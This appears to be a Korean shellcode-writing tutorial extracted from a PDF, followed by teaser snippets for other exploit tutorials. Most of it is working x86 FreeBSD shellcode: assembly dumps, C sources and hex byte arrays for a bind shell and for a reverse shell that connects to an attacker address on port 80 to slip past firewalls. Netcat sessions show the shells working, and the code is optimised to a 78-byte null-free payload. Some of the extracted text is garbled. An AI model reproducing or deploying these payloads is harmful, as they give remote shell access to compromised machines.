0 ( 표준입력 ) / 1 ( 표준출력 ) / 2 ( 표준에러출력 ) 디스크립터와 clnt_sock 디스크립터를연결시켜주는역할을합니다.

21 문자열 /bin/sh 를메모리에쓸때 movl 을통해복사하는데인텔계열 cpu 는 little endian 을사용하므로, nib/ \x00hs/ 형식으로 4바이트단위로값을뒤집어서복사해야합니다. 자, 그럼만들어진쉘코드를컴파일한뒤, 16 진수로바꿔봅시다. ~/work/bind_sh]$ gcc bind_sh2.s -o bind_sh2 ~/work/bind_sh]$ objdump -d bind_sh c <main>: c: e8 a call <fork> : 85 c0 test %eax,%eax : 0f 85 d jne f <exit> : e8 d call <eoc> e <start>: e: 5e pop %esi f: 6a 00 push $0x a1: 6a 01 push $0x a3: 6a 02 push $0x a5: e call f <socket> 80484aa: mov %eax,(%esi) 80484ac: 83 c4 0c add $0xc,%esp 80484af: c movb $0x2,0x9(%esi) 80484b3: c6 46 0a 77 movb $0x77,0xa(%esi) 80484b7: 6a 10 push $0x b9: 8d 5e 08 lea 0x8(%esi),%ebx 80484bc: 53 push %ebx 80484bd: ff 36 pushl (%esi) 80484bf: e call <bind> 80484c4: 83 c4 0c add $0xc,%esp 80484c7: 6a 01 push $0x c9: ff 36 pushl (%esi) 80484cb: e8 7f call f <listen> 80484d0: 83 c4 08 add $0x8,%esp 80484d3: 6a 00 push $0x d5: 6a 00 push $0x d7: ff 36 pushl (%esi) 80484d9: e call <accept> 80484de: mov %eax,0x4(%esi) 80484e1: 83 c4 0c add $0xc,%esp 80484e4: 6a 00 push $0x e6: ff pushl 0x4(%esi) 80484e9: e call f <dup2> 80484ee: 83 c4 08 add $0x8,%esp 80484f1: 6a 01 push $0x f3: ff pushl 0x4(%esi) 80484f6: e call f <dup2> 80484fb: 83 c4 08 add $0x8,%esp 80484fe: 6a 02 push $0x : ff pushl 0x4(%esi)

22 : e call f <dup2> : 83 c4 08 add $0x8,%esp b: c f e movl $0x6e69622f,0x18(%esi) : c7 46 1c 2f movl $0x68732f,0x1c(%esi) : 8d 5e 18 lea 0x18(%esi),%ebx c: 89 5e 20 mov %ebx,0x20(%esi) f: c movl $0x0,0x24(%esi) : 6a 00 push $0x : 8d lea 0x24(%esi),%edx b: 52 push %edx c: 53 push %ebx d: e call <execve> : e call f <exit> <fork>: : b mov $0x2,%eax c: cd 80 int $0x e: c3 ret f <socket>: f: b mov $0x61,%eax : cd 80 int $0x : c3 ret <bind>: : b mov $0x68,%eax c: cd 80 int $0x e: c3 ret f <listen>: f: b8 6a mov $0x6a,%eax : cd 80 int $0x : c3 ret <accept>: : b8 1e mov $0x1e,%eax c: cd 80 int $0x e: c3 ret f <dup2>: f: b8 5a mov $0x5a,%eax : cd 80 int $0x : c3 ret <execve>: : b8 3b mov $0x3b,%eax c: cd 80 int $0x e: c3 ret f <exit>: f: b mov $0x1,%eax : cd 80 int $0x80

23 <eoc>: : e8 23 ff ff ff call e <start> 이제테스트를해봐야겠죠? ~/work/bind_sh]$ cat bind_op2.c char sh[] = " xe8 xa6 x00 x00 x00 x85 xc0 x0f x85 xd6 x00 x00 x00 xe8 xd8 x00 x00 x00" " x5e x6a x00 x6a x01 x6a x02 xe8 x95 x00 x00 x00 x89 x06 x83 xc4 x0c" " xc6 x46 x09 x02 xc6 x46 x0a x77 x6a x10 x8d x5e x08 x53 xff x36" " xe8 x83 x00 x00 x00 x83 xc4 x0c x6a x01 xff x36 xe8 x7f x00 x00 x00" " x83 xc4 x08 x6a x00 x6a x00 xff x36 xe8 x79 x00 x00 x00 x89 x46 x04" " x83 xc4 x0c x6a x00 xff x76 x04 xe8 x71 x00 x00 x00 x83 xc4 x08 x6a x01" " xff x76 x04 xe8 x64 x00 x00 x00 x83 xc4 x08 x6a x02 xff x76 x04" " xe8 x57 x00 x00 x00 x83 xc4 x08 xc7 x46 x18 x2f x62 x69 x6e" " xc7 x46 x1c x2f x73 x68 x00 x8d x5e x18 x89 x5e x20" " xc7 x46 x24 x00 x00 x00 x00 x6a x00 x8d x56 x24 x52 x53" " xe8 x35 x00 x00 x00 xe8 x38 x00 x00 x00 xb8 x02 x00 x00 x00 xcd x80 xc3" " xb8 x61 x00 x00 x00 xcd x80 xc3 xb8 x68 x00 x00 x00 xcd x80 xc3" " xb8 x6a x00 x00 x00 xcd x80 xc3 xb8 x1e x00 x00 x00 xcd x80 xc3" " xb8 x5a x00 x00 x00 xcd x80 xc3 xb8 x3b x00 x00 x00 xcd x80 xc3" " xb8 x01 x00 x00 x00 xcd x80 xe8 x23 xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { printf( Length = %d bytes n, sizeof(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/bind_sh]$ gcc bind_op2.c -o bind_op2 [graylynx@freebsd62 ~/work/bind_sh]$./bind_op2 Length = 280 bytes [graylynx@freebsd62 ~/work/bind_sh]$ netstat -an grep tcp4 0 0 * *.* LISTEN [graylynx@freebsd62 ~/work/bind_sh]$ ( 마지막부분에덧붙여진 40개의 0x00 은실제리모트공격시에는제거해도됩니다. 지금과같이로컬에서테스트할때는쉘코드뒤에여러쓰래기값들이따라오므로일부러초기화해주기위해넣은것입니다 ) 번 (0x7700) 포트가열렸구요..

24 윈도우용 nc 를이용해서해당포트로접속해보도록하죠. C: Documents and Settings graylynx>nc ls -la total 324 drwxr-xr-x 2 graylynx graylynx 512 Jun 13 22:09. drwxr-xr-x 6 graylynx graylynx 512 Jun 13 16:06.. -rwxr-xr-x 1 graylynx graylynx 4901 Jun 13 22:09 bind_op2 -rw-rr 1 graylynx graylynx 1238 Jun 13 21:31 bind_op2.c -rwxr-xr-x 1 graylynx graylynx Jun 13 21:01 bind_sh -rw-rr 1 graylynx graylynx 616 Jun 13 21:01 bind_sh.c -rwxr-xr-x 1 graylynx graylynx 4928 Jun 13 22:03 bind_sh2 -rw-rr 1 graylynx graylynx 1266 Jun 13 22:03 bind_sh2.s uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) 제대로작동하는것을볼수있습니다. 하지만, 크기가무려 240 바이트나 (!) 되는군요. 거기다 0x00 도엄청많습니다. 이걸다없애줘야합니다. 가능하면크기도작게.. 다음쉘코는아래와같은작업을거쳐생성된것입니다. 1. 함수들의루틴을메인함수에직접포함 (call, ret) 절약 2. add $0x8, %esp 등의스택정리명령어들을없앰 3. 0x00 제거 [graylynx@freebsd62 ~/work/bind_sh]$ objdump -d bind_sh c <main>: c: 31 c0 xor %eax,%eax e: 50 push %eax f: b0 02 mov $0x2,%al : cd 80 int $0x : 85 c0 test %eax,%eax : je 80484e0 <jump> : 31 c0 xor %eax,%eax : b0 01 mov $0x1,%al b: cd 80 int $0x d <start>: d: 5e pop %esi e: 31 c0 xor %eax,%eax

25 80484a0: 50 push %eax 80484a1: 40 inc %eax 80484a2: 50 push %eax 80484a3: 40 inc %eax 80484a4: 50 push %eax 80484a5: 50 push %eax 80484a6: b0 61 mov $0x61,%al 80484a8: cd 80 int $0x aa: mov %eax,(%esi) 80484ac: c movb $0x2,0x9(%esi) 80484b0: c6 46 0a 77 movb $0x77,0xa(%esi) 80484b4: 31 c0 xor %eax,%eax 80484b6: 83 c0 10 add $0x10,%eax 80484b9: 50 push %eax 80484ba: 8d 5e 08 lea 0x8(%esi),%ebx 80484bd: 53 push %ebx 80484be: ff 36 pushl (%esi) 80484c0: 50 push %eax 80484c1: b0 68 mov $0x68,%al 80484c3: cd 80 int $0x c5: 31 c0 xor %eax,%eax 80484c7: 40 inc %eax 80484c8: 50 push %eax 80484c9: ff 36 pushl (%esi) 80484cb: 50 push %eax 80484cc: b0 6a mov $0x6a,%al 80484ce: cd 80 int $0x d0: 31 c0 xor %eax,%eax 80484d2: 50 push %eax 80484d3: 50 push %eax 80484d4: ff 36 pushl (%esi) 80484d6: 50 push %eax 80484d7: b0 1e mov $0x1e,%al 80484d9: cd 80 int $0x db: mov %eax,0x4(%esi) 80484de: eb 02 jmp 80484e2 <skip> e0 <jump>: 80484e0: eb 4c jmp e <eoc> e2 <skip>: 80484e2: 31 c0 xor %eax,%eax 80484e4: 50 push %eax 80484e5: ff pushl 0x4(%esi) 80484e8: 50 push %eax 80484e9: b0 5a mov $0x5a,%al 80484eb: cd 80 int $0x ed: 31 c0 xor %eax,%eax 80484ef: 40 inc %eax 80484f0: 50 push %eax 80484f1: ff pushl 0x4(%esi) 80484f4: 50 push %eax 80484f5: b0 5a mov $0x5a,%al

26 80484f7: cd 80 int $0x f9: 31 c0 xor %eax,%eax 80484fb: 83 c0 02 add $0x2,%eax 80484fe: 50 push %eax 80484ff: ff pushl 0x4(%esi) : 50 push %eax : b0 5a mov $0x5a,%al : cd 80 int $0x : 31 c0 xor %eax,%eax : c f e movl $0x6e69622f,0x18(%esi) : c7 46 1c 2f ff movl $0xff68732f,0x1c(%esi) : f mov %al,0x1f(%esi) a: 8d 5e 18 lea 0x18(%esi),%ebx d: 89 5e 20 mov %ebx,0x20(%esi) : mov %al,0x24(%esi) : 50 push %eax : 8d lea 0x24(%esi),%edx : 52 push %edx : 53 push %ebx : 50 push %eax a: b0 3b mov $0x3b,%al c: cd 80 int $0x e <eoc>: e: e8 6a ff ff ff call d <start> ~/work/bind_sh]$ cat bind_op3.c char sh[] = " x31 xc0 x50 xb0 x02 xcd x80 x85 xc0 x74 x49 x31 xc0 xb0 x01 xcd x80" " x5e x31 xc0 x50 x40 x50 x40 x50 x50 xb0 x61 xcd x80 x89 x06" " xc6 x46 x09 x02 xc6 x46 x0a x77 x31 xc0 x83 xc0 x10 x50 x8d x5e x08" " x53 xff x36 x50 xb0 x68 xcd x80 x31 xc0 x40 x50 xff x36 x50 xb0 x6a" " xcd x80 x31 xc0 x50 x50 xff x36 x50 xb0 x1e xcd x80 x89 x46 x04" " xeb x02 xeb x4c x31 xc0 x50 xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0" " x40 x50 xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0 x83 xc0 x02 x50" " xff x76 x04 x50 xb0 x5a xcd x80 x31 xc0 xc7 x46 x18 x2f x62 x69 x6e" " xc7 x46 x1c x2f x73 x68 xff x88 x46 x1f x8d x5e x18 x89 x5e x20" " x88 x46 x24 x50 x8d x56 x24 x52 x53 x50 xb0 x3b xcd x80 xe8 x6a xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { } printf("length = %d n", sizeof(sh)); void(*shell)() = (void *)sh; shell();

27 ~/work/bind_sh]$ gcc bind_op3.c -o bind_op3 ~/work/bind_sh]$./bind_op3 Length = 208 [graylynx@freebsd62 ~/work/bind_sh]$ netstat -an grep tcp4 0 0 * *.* LISTEN [graylynx@freebsd62 ~/work/bind_sh]$ 이로써 0x00 이제거된 178 바이트짜리 Bind 쉘코드가만들어졌습니다. 다시한번말씀드리지만, 위의 0x00 코드들은로컬에서테스트하기위해덧붙여진것입니다. 실제쉘코드는그윗부분까지입니다. 하지만이렇게다이어트를해도메타스플로잇 ( 의 76 바이트라는섹쉬한 (?) 사이즈를자랑하는쉘코드에비하면, 턱없이뚱뚱합니다. 뭔가비법이있을법도한데요.. 다음에제작할 Reverse 쉘코드에그비법들을적용해보겠습니다. IV. Reverse 쉘코드이번쉘코드는네트워크방화벽에막혀있는목표를공략할때주로쓰입니다. Bind 쉘코드같은경우, 네거티브정책이설정된방화벽에서는공격이성공하여포트를연다해도허용된포트로가는패킷외에는모두차단되기때문에아무소용이없습니다. 하지만 Reverse 쉘코드는허용된포트를통하여 ( 주로 80번 ) 정상적인패킷인것처럼가장함으로써, 방화벽을우회할수있습니다. 공격자의컴퓨터에서는 nc l p 80 등의명령으로목표물의연결을기다리게되며, 목표물은 exploit 이성공했을시공격자의컴퓨터로접속한뒤, Bind 쉘코드처럼입출력에대한디스크립터를연결하게됩니다. 기능적으로는 Bind 쉘코드와거의비슷하기때문에약간만수정하면충분히우리가원하는바를이룰수있습니다. 우선 C 언어로작성해보도록하죠. [graylynx@freebsd62 ~/work/reverse_sh]$ cat reverse_sh.c #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define IP " " #define PORT 80 int sock; struct sockaddr_in serv_addr; char *sh[2] = {"/bin/sh", NULL}; int main() { if(fork() == 0) { sock = socket(pf_inet, SOCK_STREAM, 0); serv_addr.sin_family = AF_INET;

28 serv_addr.sin_addr.s_addr = inet_addr(ip); serv_addr.sin_port = htons(port); connect(sock, (struct sockaddr*)&serv_addr, 16); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve(sh[0], sh, 0); } } [graylynx@freebsd62 ~/work/reverse_sh]$ [graylynx@freebsd62 ~/work/reverse_sh]$ gcc -static reverse_sh.c -o reverse_sh [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_sh [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname; id FreeBSD uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) 네.. 위와같이공격자의 80번포트로쉘을띄워주게됩니다. Bind 쉘코드에비해훨씬간단하므로다들쉽게만드실거라믿고, 자세한설명은코드로대신하겠습니다. connect() 함수 disas connect Dump of assembler code for function connect: 0x08049a20 <connect+0>: mov $0x62,%eax 0x08049a25 <connect+5>: int $0x80 0x08049a27 <connect+7>: jb 0x8049a18 <getprogname+12> 0x08049a29 <connect+9>: ret 0x08049a2a <connect+10>: nop 0x08049a2b <connect+11>: nop 0x08049a2c <connect+12>: jmp 0x <.cerror> 0x08049a31 <connect+17>: lea 0x0(%esi),%esi [graylynx@freebsd62 ~/work/reverse_sh]$ gcc -o reverse_sh2 reverse_sh2.s [graylynx@freebsd62 ~/work/reverse_sh]$ objdump -d reverse_sh2

29 c <main>: c: e8 8d call e <fork> : 85 c0 test %eax,%eax : 0f 85 ad jne <exit> : e8 af call d <eoc> e <start>: e: 5e pop %esi f: 6a 00 push $0x a1: 6a 01 push $0x a3: 6a 02 push $0x a5: e8 7c call <socket> 80484aa: mov %eax,(%esi) 80484ac: 83 c4 0c add $0xc,%esp 80484af: c movb $0x2,0x9(%esi) 80484b3: c6 46 0b 50 movb $0x50,0xb(%esi) 80484b7: c7 46 0c c0 a8 f8 01 movl $0x1f8a8c0,0xc(%esi) 80484be: 6a 10 push $0x c0: 8d 5e 08 lea 0x8(%esi),%ebx 80484c3: 53 push %ebx 80484c4: ff 36 pushl (%esi) 80484c6: e call e <connect> 80484cb: 83 c4 0c add $0xc,%esp 80484ce: 6a 00 push $0x d0: ff 36 pushl (%esi) 80484d2: e8 5f call <dup2> 80484d7: 83 c4 08 add $0x8,%esp 80484da: 6a 01 push $0x dc: ff 36 pushl (%esi) 80484de: e call <dup2> 80484e3: 83 c4 08 add $0x8,%esp 80484e6: 6a 02 push $0x e8: ff 36 pushl (%esi) 80484ea: e call <dup2> 80484ef: 83 c4 08 add $0x8,%esp 80484f2: c f e movl $0x6e69622f,0x18(%esi) 80484f9: c7 46 1c 2f movl $0x68732f,0x1c(%esi) : 8d 5e 18 lea 0x18(%esi),%ebx : 89 5e 20 mov %ebx,0x20(%esi) : c movl $0x0,0x24(%esi) d: 6a 00 push $0x f: 8d lea 0x24(%esi),%edx : 52 push %edx : 53 push %ebx : e call e <execve> : e call <exit> e <fork>: e: b mov $0x2,%eax : cd 80 int $0x : c3 ret <socket>:

30 : b mov $0x61,%eax b: cd 80 int $0x d: c3 ret e <connect>: e: b mov $0x62,%eax : cd 80 int $0x : c3 ret <dup2>: : b8 5a mov $0x5a,%eax b: cd 80 int $0x d: c3 ret e <execve>: e: b8 3b mov $0x3b,%eax : cd 80 int $0x : c3 ret <exit>: : b mov $0x1,%eax b: cd 80 int $0x d <eoc>: d: e8 4c ff ff ff call e <start> ~/work/reverse_sh]$ cat reverse_op2.c char sh[] = " xe8 x8d x00 x00 x00 x85 xc0 x0f x85 xad x00 x00 x00 xe8 xaf x00 x00 x00" " x5e x6a x00 x6a x01 x6a x02 xe8 x7c x00 x00 x00 x89 x06 x83 xc4 x0c" " xc6 x46 x09 x02 xc6 x46 x0b x50 xc7 x46 x0c xc0 xa8 xf8 x01 x6a x10" " x8d x5e x08 x53 xff x36 xe8 x63 x00 x00 x00 x83 xc4 x0c x6a x00 xff x36" " xe8 x5f x00 x00 x00 x83 xc4 x08 x6a x01 xff x36 xe8 x53 x00 x00 x00" " x83 xc4 x08 x6a x02 xff x36 xe8 x47 x00 x00 x00 x83 xc4 x08" " xc7 x46 x18 x2f x62 x69 x6e xc7 x46 x1c x2f x73 x68 x00 x8d x5e x18" " x89 x5e x20 xc7 x46 x24 x00 x00 x00 x00 x6a x00 x8d x56 x24 x52 x53" " xe8 x25 x00 x00 x00 xe8 x28 x00 x00 x00 xb8 x02 x00 x00 x00 xcd x80 xc3" " xb8 x61 x00 x00 x00 xcd x80 xc3 xb8 x62 x00 x00 x00 xcd x80 xc3" " xb8 x5a x00 x00 x00 xcd x80 xc3 xb8 x3b x00 x00 x00 xcd x80 xc3" " xb8 x01 x00 x00 x00 xcd x80 xe8 x4c xff xff xff" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00" " x00 x00 x00 x00 x00 x00 x00 x00 x00 x00"; main() { printf("length = %d bytes n", sizeof(sh)); void(*shell)() = (void *)sh;

31 shell(); } [graylynx@freebsd62 ~/work/reverse_sh]$ gcc reverse_op2.c -o reverse_op2 [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_op2 Length = 239 bytes [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname; id FreeBSD uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) netstat -an grep tcp ESTABLISHED tcp ESTABLISHED tcp ESTABLISHED 일단작동은하는군요 ^^ 하지만코드가너무크고, 0x00 이포함되어있습니다. 이번에는단순히 0x00 만제거하는게아니라, 최소한의명령어로작동가능한최적화된쉘코드를만들어봅시다. 위에서언급한메타스플로잇의쉘코드를보면, 최적화를위한다음과같은몇가지노하우가존재합니다. 1. 다양한레지스터를적극활용한다 2. 가능한스택을이용한다 ( 코드를이해하기에는불편해도작동만잘되면그만!) 3. 다양한 cpu 명령어를이용한다 (push, pop, cdq, xchg 등등..) 4. 오류처리를하지않는다 그럼, 우리의쉘코드에도저노하우를적용시켜보도록하죠. 다만, 최적화를위해서는원래코드의상당부분을새로작성할필요가있습니다. 따라서원래의코드와는달리상당히주관적인코드가될가능성이높습니다. 이글을읽으시는분들도이미나와있는쉘코드만분석하기보단자기만의개성이담긴쉘코드를작성해본다면공부에많은도움이될것입니다. 아래는제나름대로최적화해본 Reverse 쉘코드입니다. 기존 200 바이트가량의크기를자랑하던녀석을거의 1/3 수준으로줄였습니다. 어떻게그렇게줄일수있냐구요? 그이유는여러분의숙제로남겨드릴께요. ^^ [graylynx@freebsd62 ~/work/reverse_sh]$ objdump -d reverse_sh c <main>: c: 6a 61 push $0x e: 58 pop %eax f: 99 cltd

32 : 52 push %edx : 42 inc %edx : 52 push %edx : 42 inc %edx : 52 push %edx : 57 push %edi : cd 80 int $0x : 93 xchg %eax,%ebx : 68 c0 a8 f8 01 push $0x1f8a8c e: b8 ff fd ff af mov $0xaffffdff,%eax 80484a3: f7 d8 neg %eax 80484a5: 50 push %eax 80484a6: 89 e2 mov %esp,%edx 80484a8: 6a 10 push $0x aa: 52 push %edx 80484ab: 53 push %ebx 80484ac: 57 push %edi 80484ad: 6a 62 push $0x af: 58 pop %eax 80484b0: cd 80 int $0x b2: 6a 02 push $0x b4: 59 pop %ecx b5 <dup2>: 80484b5: 51 push %ecx 80484b6: 53 push %ebx 80484b7: 57 push %edi 80484b8: 6a 5a push $0x5a 80484ba: 58 pop %eax 80484bb: cd 80 int $0x bd: 49 dec %ecx 80484be: 79 f5 jns 80484b5 <dup2> 80484c0: 50 push %eax 80484c1: 68 2f 2f push $0x68732f2f 80484c6: 68 2f e push $0x6e69622f 80484cb: 89 e2 mov %esp,%edx 80484cd: 50 push %eax 80484ce: 54 push %esp 80484cf: 52 push %edx 80484d0: 57 push %edi 80484d1: 6a 3b push $0x3b 80484d3: 58 pop %eax 80484d4: cd 80 int $0x80 ~/work/reverse_sh]$ cat reverse_op3.c char sh[] = " x6a x61 x58 x99 x52 x42 x52 x42 x52 x57 xcd x80 x93 x68 xc0 xa8 xf8 x01" " xb8 xff xfd xff xaf xf7 xd8 x50 x89 xe2 x6a x10 x52 x53 x57 x6a x62 x58" " xcd x80 x6a x02 x59 x51 x53 x57 x6a x5a x58 xcd x80 x49 x79 xf5 x50" " x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe2 x50 x54 x52 x57 x6a x3b"

33 " x58 xcd x80"; main() { printf("length = %d bytes n", sizeof(sh)); void(*shell)() = (void *)sh; shell(); } [graylynx@freebsd62 ~/work/reverse_sh]$ gcc reverse_op3.c -o reverse_op3 [graylynx@freebsd62 ~/work/reverse_sh]$./reverse_op3 Length = 78 bytes [graylynx@freebsd62 ~/work/reverse_sh]$ C: Documents and Settings graylynx>nc -l -p 80 uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) netstat -an grep tcp ESTABLISHED tcp ESTABLISHED tcp ESTABLISHED ps -ef grep reverse_op3 ps: Process environment requires procfs(5) p0 S+ 0:00.00 grep reverse_op3 V. 참고자료 1. 이동우, Network Shellcode 만들기 2. 1ndr4, Execute Shellcode on the Mac OS X (Part 2) 3. 정진욱, START of HACKER 4. 부족한글끝까지읽어주셔서감사합니다 :-)

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u HackerSchool WarGame 풀이 Written by StolenByte http://stolenbyte.egloos.com - 1 - Level 1. Trivial [level1@ftz level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. [level1@ftz level1]$ find / -user level2 2>/dev/null

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

